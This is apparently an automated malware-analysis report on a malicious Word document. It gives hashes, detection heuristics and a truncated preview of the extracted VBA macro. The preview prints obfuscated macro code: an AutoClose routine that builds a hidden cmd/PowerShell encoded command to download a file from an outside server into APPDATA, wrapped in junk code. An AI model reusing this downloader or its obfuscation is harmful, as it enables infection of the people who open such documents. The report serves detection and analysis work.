Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c3a8a44c93b4d241…

MALICIOUS

Office (OLE)

75.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: 65dac4c97237d4485606505f2813825c SHA-1: d58f059411272ccd8d6c0e9326115578c57317be SHA-256: c3a8a44c93b4d241b58000b4ad4af1db0ac5953cf005cee8680424e01f9e2951
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6731839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6731839-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9476 bytes
SHA-256: 6a822fc78d830fcdb44ebb6a44c4efee4a64397920c6c0dadfc46e41ff247806
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const xExOZOSUNYgyaHIGiwYWigEVexusyPeNY = 0
Sub AutoClose()
On Error Resume Next
NUjAVIViJIqOjeBezYROaMExULigUDAzo = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8"
Dim aesyRUkOZimyREvUCywYtUNAWYHJIpAWeJeGaQ

aesyRUkOZimyREvUCywYtUNAWYHJIpAWeJeGaQ = IsNull(Choose(2, "HATOXopaNuiYP", "aesyRUkOZimyREvUCywYtUNAWYHJIpAWeJeGaQ", "HATOXopaNuiYPaesyRUkOZimyREvUCywYtUNAWYHJIpAWeJeGaQ"))
IsError CVErr(6678)
Call IsNull(6678 - 2 * 13)

If Len(HATOXopaNuiYP) > Len(CStr(Hex(6678))) Then
   Call IsError(CVErr(CInt(CStr(HATOXopaNuiYP))))
End If
Dim WOFeNAviKoZAiisIxEjOnAqYMumiSolySiuRidAGicYG

WOFeNAviKoZAiisIxEjOnAqYMumiSolySiuRidAGicYG = IsNull(Choose(2, "sUGIfEQYxAViFIMIqiSA", "WOFeNAviKoZAiisIxEjOnAqYMumiSolySiuRidAGicYG", "sUGIfEQYxAViFIMIqiSAWOFeNAviKoZAiisIxEjOnAqYMumiSolySiuRidAGicYG"))
IsError CVErr(8797)
Call IsNull(8797 - 2 * 11)

If Len(sUGIfEQYxAViFIMIqiSA) > Len(CStr(Hex(8797))) Then
   Call IsError(CVErr(CInt(CStr(sUGIfEQYxAViFIMIqiSA))))
End If

Dim XuxruTaPABiGUmCYMosewysabej

XuxruTaPABiGUmCYMosewysabej = IsNull(Choose(1, "jysEKapanEJAvYvHRaWaku", "XuxruTaPABiGUmCYMosewysabej", "jysEKapanEJAvYvHRaWakuXuxruTaPABiGUmCYMosewysabej"))
IsError CVErr(4777)
Call IsNull(4777 - 1 * 13)

If Len(jysEKapanEJAvYvHRaWaku) > Len(CStr(Hex(4777))) Then
   Call IsError(CVErr(CInt(CStr(jysEKapanEJAvYvHRaWaku))))
End If
Dim JYVicIkuZENidEZaQYrgiZaboguZXgIlUJuzizIg

JYVicIkuZENidEZaQYrgiZaboguZXgIlUJuzizIg = IsNull(Choose(7, "baquiaqANiTuHyqiLaDYS", "JYVicIkuZENidEZaQYrgiZaboguZXgIlUJuzizIg", "baquiaqANiTuHyqiLaDYSJYVicIkuZENidEZaQYrgiZaboguZXgIlUJuzizIg"))
IsError CVErr(3750)
Call IsNull(3750 - 7 * 12)

If Len(baquiaqANiTuHyqiLaDYS) > Len(CStr(Hex(3750))) Then
   Call IsError(CVErr(CInt(CStr(baquiaqANiTuHyqiLaDYS))))
End If
nydaMydEvITyXcEbUgumZIFADYKADaMiftanehEF = "^A^L^w^B^k^A^G^U^A^Y^Q^B^s^A^G^E^A^Z^A^B^5^A^G^4^A^b^w^B^1^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^3^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^D"

Dim ReTiQAxoxEmuwUvEzADAvibaKUzYJUbEhI

ReTiQAxoxEmuwUvEzADAvibaKUzYJUbEhI = IsNull(Choose(1, "mALeMOjIgUpEnUTehUHyJIB", "ReTiQAxoxEmuwUvEzADAvibaKUzYJUbEhI", "mALeMOjIgUpEnUTehUHyJIBReTiQAxoxEmuwUvEzADAvibaKUzYJUbEhI"))
IsError CVErr(9877)
Call IsNull(9877 - 1 * 13)

If Len(mALeMOjIgUpEnUTehUHyJIB) > Len(CStr(Hex(9877))) Then
   Call IsError(CVErr(CInt(CStr(mALeMOjIgUpEnUTehUHyJIB))))
End If
Dim aeGEHAqEjexuwIRIiajEgYbHAQaSyMESaKuTSy

aeGEHAqEjexuwIRIiajEgYbHAQaSyMESaKuTSy = IsNull(Choose(2, "sIRIkgEpiZoHiw", "aeGEHAqEjexuwIRIiajEgYbHAQaSyMESaKuTSy", "sIRIkgEpiZoHiwaeGEHAqEjexuwIRIiajEgYbHAQaSyMESaKuTSy"))
IsError CVErr(2133)
Call IsNull(2133 - 2 * 12)

If Len(sIRIkgEpiZoHiw) > Len(CStr(Hex(2133))) Then
   Call IsError(CVErr(CInt(CStr(sIRIkgEpiZoHiw))))
End If

ZIrFIjukaNUkATyWeBosADOZ = "^M^A^O^A^A^1^A^D^M^A^Y^g^A^1^A^D^U^A^O^A^A^u^A^G^U^A^" + Format(ChrW(101)) + "^A^B^l^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A
... (truncated)